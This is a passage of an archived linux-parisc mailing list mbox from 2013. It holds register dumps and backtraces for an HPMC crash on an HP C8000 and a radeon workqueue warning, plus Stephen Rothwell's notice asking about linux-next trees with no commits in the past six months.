MIB_STAT                     =3D 0x0000000000000000
MIB_LOG1                     =3D 0x0000000000000000
MIB_LOG2                     =3D 0x0000000000000000
MIB_ECC_DATA                 =3D 0x0000000000000000
ICache Info                  =3D 0x0000000000000000
DCache Info                  =3D 0x0000000000000000
Sharedcache Info1            =3D 0x0000000000000000
Sharedcache Info2            =3D 0x0000000000000000
MIB_RSLOG1                   =3D 0x0000000000000000
MIB_RSLOG2                   =3D 0x0000000000000000
MIB_RQLOG                    =3D 0x0000000000000000
MIB_REQLOGa                  =3D 0x0000000000000000
MIB_REQLOGb                  =3D 0x0000000000000000
Reserved                     =3D 0x0000000000000000
Cache Repair Detail          =3D 0x0000000000000000

PIM Detail Text:

-----------------  Processor 1 LPMC Information ------------------

General Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
04-07  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
08-11  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
12-15  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
16-19  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
20-23  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
24-27  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
28-31  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00



Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
04-07  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
08-11  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
12-15  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
16-19  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
20-23  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
24-27  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
28-31  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00


Space Registers 0 - 7
00-03  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
04-07  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00


IIA Space (back entry)       =3D 0x0000000000000000
IIA Offset (back entry)      =3D 0x0000000000000000
Check Type                   =3D 0x00000000
Cpu State                    =3D 0x00000000
Cache Check                  =3D 0x00000000
TLB Check                    =3D 0x00000000
Bus Check                    =3D 0x00000000
Assists Check                =3D 0x00000000
Assist State                 =3D 0x00000000
Path Info                    =3D 0x00000000
System Responder Address     =3D 0x0000000000000000
System Requestor Address     =3D 0x0000000000000000



Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
04-07  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
08-11  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
12-15  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
16-19  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
20-23  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
24-27  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
28-31  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00


PIM Revision                 =3D 0x0000000000000000
CPU ID                       =3D 0x0000000000000000
CPU Revision                 =3D 0x0000000000000000
Cpu Serial Number            =3D 0x0000000000000000
Check Summary                =3D 0x0000000000000000
SAL Timestamp                =3D 0x0000000000000000
System Firmware Rev.         =3D 0x0000000000000000
PDC Relocation Address       =3D 0x0000000000000000
Available Memory             =3D 0x0000000000000000
CPU Diagnose Register 2      =3D 0x0000000000000000
MIB_STAT                     =3D 0x0000000000000000
MIB_LOG1                     =3D 0x0000000000000000
MIB_LOG2                     =3D 0x0000000000000000
MIB_ECC_DATA                 =3D 0x0000000000000000
ICache Info                  =3D 0x0000000000000000
DCache Info                  =3D 0x0000000000000000
Sharedcache Info1            =3D 0x0000000000000000
Sharedcache Info2            =3D 0x0000000000000000
MIB_RSLOG1                   =3D 0x0000000000000000
MIB_RSLOG2                   =3D 0x0000000000000000
MIB_RQLOG                    =3D 0x0000000000000000
MIB_REQLOGa                  =3D 0x0000000000000000
MIB_REQLOGb                  =3D 0x0000000000000000
Reserved                     =3D 0x0000000000000000
Cache Repair Detail          =3D 0x0000000000000000

PIM Detail Text:


-----------------  Processor 1 TOC Information -------------------

General Registers 0 - 31
00-03  0000000000000000  0000000040b911ec  0000000040b5f727  00000000413a2f=
88
04-07  0000000040b911ec  00000000421bd000  0000000000000000  00000000000000=
01
08-11  000000004139f266  00000000413a2f08  ffffffffffff8100  00000000000000=
01
12-15  000000004139c064  000000000007a120  000000004139f9a0  00000000413a00=
5c
16-19  0000000000000000  0000000040b911ec  000000004139f9a0  0000000040b911=
ec
20-23  00000000413b31e8  0000000000000004  0000000040b5f400  00000000413a2f=
08
24-27  00000000000000fa  0000000000000001  00000000fb2b0bcc  000000004139f1=
a0
28-31  0000000000000001  0000000001c46f00  00000000fb2b0c80  00000000419117=
1b



Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
04-07  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
08-11  0000000000016be2  0000000000000000  00000000000000c0  00000000000000=
1c
12-15  0000000000000000  0000000000000000  0000000000103000  fff00000000000=
00
16-19  00023ad5fb1eacf4  0000000005af8800  0000000040b5f67b  000000000ca010=
94
20-23  00000000012400c0  40000000085bd000  000000ff0006f90f  80000000000000=
00
24-27  0000000000757000  0000000028a6a000  fffdffffffffffff  00000000400031=
00
28-31  9fdddf5f47ef5ffe  9fdddf5f47ef5ffe  00000000656cc000  ffffffffffffff=
ff

Space Registers 0 - 7
00-03  0000000005aac800  0000000005aac800  0000000000000000  0000000005af88=
00
04-07  0000000005af8800  0000000005af8800  0000000005af8800  0000000005af88=
00

IIA Space (back entry)       =3D 0x0000000005af8800
IIA Offset (back entry)      =3D 0x0000000040b5f67f
CPU State                    =3D 0x9e000000



--------------  Memory Error Log Information  --------------

   No errors logged for this bus

------------  I/O Module Error Log Information  ------------

  No IO subsystem errors recorded


--MP_/8C6jCf.IJYbL1W6B6/h8FAh--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 / PA8800 64-bit SMP with kernel 3.11.0 - HPMC in
 cpu_startup_entry while setting promiscuous mode on eth
Date: Fri, 13 Sep 2013 09:49:56 -0700
Lines: 42
Approved: news@gmane.org
Message-ID: <1379090996.2198.3.camel@dabdike.int.hansenpartnership.com>
References: <20130913182705.6d8471ae@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1379091015 27826 80.91.229.3 (13 Sep 2013 16:50:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 13 Sep 2013 16:50:15 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 13 18:50:15 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VKWZF-0004kz-3Q
	for glpp-linux-parisc@plane.gmane.org; Fri, 13 Sep 2013 18:50:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751535Ab3IMQuA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 13 Sep 2013 12:50:00 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:55307 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751079Ab3IMQuA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 13 Sep 2013 12:50:00 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 44BD38EE0FA;
	Fri, 13 Sep 2013 09:49:59 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id OLOjvRF6dSY7; Fri, 13 Sep 2013 09:49:59 -0700 (PDT)
Original-Received: from [153.66.254.224] (c-24-17-213-192.hsd1.wa.comcast.net [24.17.213.192])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 85E2E8EE0A3;
	Fri, 13 Sep 2013 09:49:58 -0700 (PDT)
In-Reply-To: <20130913182705.6d8471ae@marga.jer-c2.orkz.net>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5325
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5325>

On Fri, 2013-09-13 at 18:27 +0200, Jeroen Roovers wrote:
> Resending since it apparently never got through (binary attachment?)...
> 
> While running tcpdump or wireshark (dumpcap) and setting promiscuous
> mode on eth0, I get an HPMC in cpu_startup_entry.
> 
> Attached are the:
> 
> 1) PDC output for PIM(1) and assorted information
>    gathered from the PDC SER menu and the serial console
> 2) gzipped System.map of the kernel
> 3) .config of the kernel
> 
> 40:01.0 SCSI storage controller: LSI Logic / Symbios Logic 53c1030
> PCI-X Fusion-MPT Dual Ultra320 SCSI (rev 07)
> 40:01.1 SCSI storage controller: LSI Logic / Symbios Logic 53c1030
> PCI-X Fusion-MPT Dual Ultra320 SCSI (rev 07)
> 60:01.0 USB controller: NEC Corporation OHCI USB Controller (rev 41)
> 60:01.1 USB controller: NEC Corporation OHCI USB Controller (rev 41)
> 60:01.2 USB controller: NEC Corporation uPD72010x USB 2.0 Controller
> (rev 02)
> 60:02.0 IDE interface: Silicon Image, Inc. PCI0680 Ultra ATA-133 Host
> Controller (rev 02)
> 60:03.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet
> Controller (rev 02)
> 80:00.0 VGA compatible controller: Advanced Micro Devices, Inc.
> [AMD/ATI] RV350 GL [FireGL T2] (rev 80)
> 
> What else to say? 

Translation of the kernel addresses from %rp (0x4018eb0c), and the two
IAOQ entries (0x0, 0x4018eb24).  Since the first IAOQ entry is zero,
whatever is at the second seemed to trigger a jump to a NULL pointer.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 / PA8800 64-bit SMP with kernel 3.11.0 - HPMC in
 cpu_startup_entry while setting promiscuous mode on eth
Date: Sat, 14 Sep 2013 15:45:24 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20130914154524.1880f412@marga.jer-c2.orkz.net>
References: <20130913182705.6d8471ae@marga.jer-c2.orkz.net>
	<1379090996.2198.3.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1379166331 999 80.91.229.3 (14 Sep 2013 13:45:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 14 Sep 2013 13:45:31 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 14 15:45:34 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VKqAH-0001Zo-0F
	for glpp-linux-parisc@plane.gmane.org; Sat, 14 Sep 2013 15:45:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756454Ab3INNpc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 14 Sep 2013 09:45:32 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:44620 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756435Ab3INNpc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 14 Sep 2013 09:45:32 -0400
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 23C0933BEBF;
	Sat, 14 Sep 2013 13:45:30 +0000 (UTC)
In-Reply-To: <1379090996.2198.3.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Claws Mail 3.9.2-dirty (GTK+ 2.24.17; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5326
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5326>

On Fri, 13 Sep 2013 09:49:56 -0700
James Bottomley <James.Bottomley@HansenPartnership.com> wrote:

> On Fri, 2013-09-13 at 18:27 +0200, Jeroen Roovers wrote:
> > Resending since it apparently never got through (binary
> > attachment?)...
> > 
> > While running tcpdump or wireshark (dumpcap) and setting promiscuous
> > mode on eth0, I get an HPMC in cpu_startup_entry.

I forgot to note that this does not happen every time.

> Translation of the kernel addresses from %rp (0x4018eb0c), and the
> two IAOQ entries (0x0, 0x4018eb24).  Since the first IAOQ entry is
> zero, whatever is at the second seemed to trigger a jump to a NULL
> pointer.

000000004018e9b0 W arch_cpu_idle
000000004018e9e0 T cpu_startup_entry
000000004018ec68 T freezing_slow_path

http://rooversj.home.xs4all.nl/gentoo/hppa/System.map

Is this useful in any way?


     jer
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.ports.parisc
Subject: linux-next: old trees
Date: Tue, 17 Sep 2013 17:01:24 +1000
Lines: 94
Approved: news@gmane.org
Message-ID: <20130917170124.0afa2e103a9977355ad7c72c__31163.941024761$1379401359$gmane$org@canb.auug.org.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA256";
 boundary="Signature=_Tue__17_Sep_2013_17_01_24_+1000_ugYdwK6T7JDx0cPM"
X-Trace: ger.gmane.org 1379401351 22060 80.91.229.3 (17 Sep 2013 07:02:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Sep 2013 07:02:31 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Linus <torvalds@linux-foundation.org>
To: linux-next@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 17 09:02:33 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VLpIq-0003y5-VT
	for glpp-linux-parisc@plane.gmane.org; Tue, 17 Sep 2013 09:02:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751882Ab3IQHCR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Sep 2013 03:02:17 -0400
Original-Received: from haggis.pcug.org.au ([203.10.76.10]:34663 "EHLO
	members.tip.net.au" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751355Ab3IQHCQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Sep 2013 03:02:16 -0400
Original-Received: from canb.auug.org.au (ibmaus65.lnk.telstra.net [165.228.126.9])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by members.tip.net.au (Postfix) with ESMTPSA id 67F7B1640FC;
	Tue, 17 Sep 2013 17:01:31 +1000 (EST)
X-Mailer: Sylpheed 3.4.0beta4 (GTK+ 2.24.20; i486-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5327
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5327>

--Signature=_Tue__17_Sep_2013_17_01_24_+1000_ugYdwK6T7JDx0cPM
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi all,

This message is bcc'd to each of the contacts for the trees listed below,
so apologies if you get two copies.

I have been inspired to check the ages of the trees included in
linux-next.  Below I have listed all the trees that have not been
commited to in the past 6 months.  Please let me know if the tree is not
longer in use.  I don't mind keeping these trees in linux-next if they
will have continued use, but would like to remove any that are no longer
needed.

Tree		Last commit
----		-----------
4xx		1 year, 4 months ago
apm		1 year, 5 months ago
asm-generic	9 months ago
audit		1 year, 8 months ago
audit-current	1 year, 8 months ago
configfs	1 year, 10 months ago
cpupowerutils	1 year, 7 months ago
cputime		1 year, 9 months ago
davinci		2 years, 2 months ago
dwmw2		6 months ago
dwmw2-iommu	9 months ago
embedded	5 years ago
firmware	4 years, 4 months ago
fsnotify	9 months ago
fw-nohz		10 months ago
hsi		1 year, 8 months ago
hwpoison	2 years, 11 months ago
hwspinlock	2 years ago
ibft		1 year, 9 months ago
isci		1 year, 2 months ago
ixp4xx		7 months ago
jc_docs		2 years, 6 months ago
kconfig		12 months ago
kgdb		7 months ago
logfs		10 months ago
lzo-update	7 months ago
ocfs2		1 year, 1 month ago
omfs		1 year, 11 months ago
openrisc	6 months ago
osd		9 months ago
parisc		8 months ago
pcmcia		1 year, 7 months ago
pstore		6 months ago
random		7 months ago
sh		7 months ago
sh-current	1 year, 2 months ago
swiotlb		11 months ago
sysctl		1 year, 6 months ago
tmem		11 months ago
uclinux		7 months ago
unicore32	10 months ago
uprobes		1 year, 6 months ago
viafb		1 year, 6 months ago

--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au

--Signature=_Tue__17_Sep_2013_17_01_24_+1000_ugYdwK6T7JDx0cPM
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.21 (GNU/Linux)

iQIcBAEBCAAGBQJSN/5KAAoJEECxmPOUX5FEfmEQAJA1Q8roqFRXsr+xD4Cqw9QJ
mpmhbR5il0FMwrb9pgLJzO3bHhBZn+sOHgKUCSs2wXsbeLU4pYZ00GiM9zqcw4Ns
LVzTT0bvQaC4F5svo2fLWzk8ShJ4UK5JhXCbRMtHZF4ZVsfdSF3at1j0I4S8/ST2
iG0j3zSpynyJdwRCIp1P2+kbVVHLhQLUFqa7jpjmZelX4QP0nYXeFXKW1M09dhVA
0L4pqgzHn6V0e7wTnGp9JDSYsylEtF23FPTGca9hAco8Brg9VCPgLoNXnChR4fbD
Mu0nHDwhFstvf1ZThjbjZzxd0Vot2MYqPcV+47VKFmpkotj5kdLEeDAom4XAhrhb
7AI85JPvX0PPcxp/vHWsEfDGZ8+cfWpobTnsTaInOy/F2Ji8m9FQFyHpCj7cr+VV
o45YdBFj1oyZ9SCTUCNUgMM+7P0me7R9c7yDhHmZ1jJy6x8gNGXCVNZq5ooTSZsy
L9Hf+Izl9D+HBVP3ek8UOo0LPf3ZJXHZ4LRXy/bC0PPFYAEGNfQz/4mAmbbzZBZC
ak27e4JaiP8AcLMhiXG/fJ6xhZupQQIcLK+Zy6Q9CPHwMg3Jh9wBSUsQ+G9jJ7KT
5tNJqrzl+XiE0pz3tiIprgE7kWF5U7LM4hw1hr5GaaDK8oL+nqwij4vmt1Tuq9PQ
7aDLAP6RKiCMZ1Ean3Ye
=3Ucm
-----END PGP SIGNATURE-----

--Signature=_Tue__17_Sep_2013_17_01_24_+1000_ugYdwK6T7JDx0cPM--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Ivanov <gnidorah@p0n4ik.tk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc debian kernel - missing  modules for C8000 - linux-image-3.10-2-parisc64-smp
Date: Tue, 17 Sep 2013 11:23:22 +0400
Lines: 94
Approved: news@gmane.org
Message-ID: <37801379402602@web25j.yandex.ru>
References: <108451378018002@web28j.yandex.ru> <BLU0-SMTP1273DDE4A968FD3A43C55D97370@phx.gbl> <3B9F0B38-597D-439E-B57E-0F7E9E11BE9D@p0n4ik.tk> <BLU0-SMTP6283FFA9572E9BF7725A1E97300@phx.gbl> <F9C1BAB5-56D3-40E2-B0B2-184C92CD51AB@p0n4ik.tk> <52278FBD.2010304@bell.net> <BLU0-SMTP36B9C5CB7AF69063DE0EBD97320@phx.gbl> <5228F071.4040000@gmx.de> <20130906085203.GA15333@alpha.franken.de> <1378479057.2063.6.camel@dabdike.int.hansenpartnership.com> <20130906161158.GA19991@alpha.franken.de> <1378487651.2063.20.camel@dabdike.int.hansenpartnership.com> <BLU0-SMTP524BC4BA31EE9E1B30875F973D0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1379403066 9686 80.91.229.3 (17 Sep 2013 07:31:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Sep 2013 07:31:06 +0000 (UTC)
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 17 09:31:06 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VLpkY-0005Dz-Dr
	for glpp-linux-parisc@plane.gmane.org; Tue, 17 Sep 2013 09:31:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751975Ab3IQHbF convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Sep 2013 03:31:05 -0400
Original-Received: from forward11.mail.yandex.net ([95.108.130.93]:49327 "EHLO
	forward11.mail.yandex.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751946Ab3IQHbE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Sep 2013 03:31:04 -0400
X-Greylist: delayed 458 seconds by postgrey-1.27 at vger.kernel.org; Tue, 17 Sep 2013 03:31:04 EDT
Original-Received: from web25j.yandex.ru (web25j.yandex.ru [5.45.198.66])
	by forward11.mail.yandex.net (Yandex) with ESMTP id A7A51E82847
	for <linux-parisc@vger.kernel.org>; Tue, 17 Sep 2013 11:23:23 +0400 (MSK)
Original-Received: from 127.0.0.1 (localhost [127.0.0.1])
	by web25j.yandex.ru (Yandex) with ESMTP id 4D901132104F;
	Tue, 17 Sep 2013 11:23:23 +0400 (MSK)
Original-Received: from relay.gero.in (relay.gero.in [77.37.212.15]) by web25j.yandex.ru with HTTP;
	Tue, 17 Sep 2013 11:23:22 +0400
In-Reply-To: <BLU0-SMTP524BC4BA31EE9E1B30875F973D0@phx.gbl>
X-Mailer: Yamail [ http://yandex.ru ] 5.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5328
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5328>

08.09.2013, 01:08, "John David Anglin" <dave.anglin@bell.net>:
> With the new modules, I sometimes encounter the following warning at
> boot on rp3440:
>
> [drm] radeon: 8M of VRAM memory ready
> [drm] radeon: 512M of GTT memory ready.
> [drm] GART: num cpu pages 131072, num gpu pages 131072
> [drm] PCI GART of 512M enabled (table at 0x0000000042540000).
> radeon 0000:e0:02.0: WB disabled
> radeon 0000:e0:02.0: fence driver on ring 0 use gpu addr
> 0xffffffffd0000000 and cpu addr 0x000000007c716000
> [drm] Supports vblank timestamp caching Rev 1 (10.10.2010).
> [drm] Driver supports precise vblank timestamp query.
> ------------[ cut here ]------------
> WARNING: at kernel/workqueue.c:1378
> Modules linked in: radeon(+) cfbfillrect cfbimgblt cfbcopyarea
> i2c_algo_bit drm_kms_helper ttm drm i2c_core backlight ohci_pci
> ohci_hcd xfs exportfs btrfs xor lzo_compress zlib_deflate raid6_pq
> crc32c libcrc32c dm_mod zalon7xx lasi700 53c700 hilkbd sd_mod
> crc_t10dif usb_storage sg sr_mod cdrom ehci_pci tg3 ehci_hcd
> pata_cmd64x ptp sym53c8xx libata pps_core scsi_transport_spi usbcore
> scsi_mod usb_common
> CPU: 0 PID: 1220 Comm: modprobe Not tainted 3.11.0+ #1
> task: 000000007f054808 ti: 000000007f0c8000 task.ti: 000000007f0c8000
>
> =9A=9A=9A=9A=9A=9AYZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00001000000001000000000000001110 Not tainted
> r00-03 =9A000000000804000e 000000007f0c92b0 000000004015edb8
> 000000007f0c92b0
> r04-07 =9A0000000040768900 0000000042536d00 000000007c809f20
> 000000007c809f28
> r08-11 =9A000000007f0c9350 000000007fc40600 0000000000000020
> 0000000000000020
> r12-15 =9A0000000000000000 0000000000000001 000000004078c100
> 000000007f0c8288
> r16-19 =9A0000000000000050 0000000000000000 000000007f0c8410
> 0000000000000000
> r20-23 =9A000000000800000e 000000007c808006 0000000000000000
> 000000001e071628
> r24-27 =9A000000007c809f20 0000000000000000 0000000042533600
> 0000000040768900
> r28-31 =9A0000000000000001 000000007f0c9350 000000007f0c9380
> 0000000000000000
> sr00-03 =9A0000000000162800 0000000000000000 0000000000000000
> 0000000000113000
> sr04-07 =9A0000000000000000 0000000000000000 0000000000000000
> 0000000000000000
>
> IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004015ee5c
> 000000004015ee60
> =9A=9AIIR: 03ffe01f =9A=9A=9AISR: 0000000010240000 =9AIOR: 000000094c=
d33600
> =9A=9ACPU: =9A=9A=9A=9A=9A=9A=9A0 =9A=9ACR30: 000000007f0c8000 CR31: =
a001019408140000
> =9A=9AORIG_R28: 0000000000000001
> =9A=9AIAOQ[0]: __queue_work+0x2dc/0x360
> =9A=9AIAOQ[1]: __queue_work+0x2e0/0x360
> =9A=9ARP(r2): __queue_work+0x238/0x360
> Backtrace:
> =9A=9A[<000000004015ef64>] queue_work_on+0x84/0xa8
> =9A=9A[<000000001df55dfc>] r100_irq_process+0x2ec/0x5d8 [radeon]
> =9A=9A[<000000001df48cc4>] radeon_driver_irq_preinstall_kms+0x16c/0x1=
a0
> [radeon]
> =9A=9A[<000000001cdbd024>] drm_irq_install+0x11c/0x3c0 [drm]
> =9A=9A[<000000001df48f8c>] radeon_irq_kms_init+0x8c/0x168 [radeon]
> =9A=9A[<000000001df5aeac>] r100_startup+0x22c/0x3c8 [radeon]
> =9A=9A[<000000001df5b880>] r100_init+0x348/0x5c0 [radeon]
> =9A=9A[<000000001defbff4>] radeon_device_init+0x79c/0x9d0 [radeon]
> =9A=9A[<000000001deff588>] radeon_driver_load_kms+0xb8/0x1a8 [radeon]
> =9A=9A[<000000001cdc682c>] drm_get_pci_dev+0x28c/0x390 [drm]
> =9A=9A[<000000001def96e4>] radeon_pci_probe+0xcc/0x120 [radeon]
> =9A=9A[<000000004035fd74>] pci_device_probe+0xc4/0xf8
> =9A=9A[<00000000403d0fd8>] really_probe+0xd0/0x328
> =9A=9A[<00000000403d13e8>] __driver_attach+0x100/0x108
> =9A=9A[<00000000403ce290>] bus_for_each_dev+0xa0/0x100
> =9A=9A[<00000000403d08cc>] driver_attach+0x34/0x48
>
> ---[ end trace 9a90037d977025eb ]---
> [drm] radeon: irq initialized.
> [drm] Loading R100 Microcode
>
> Dave
> --
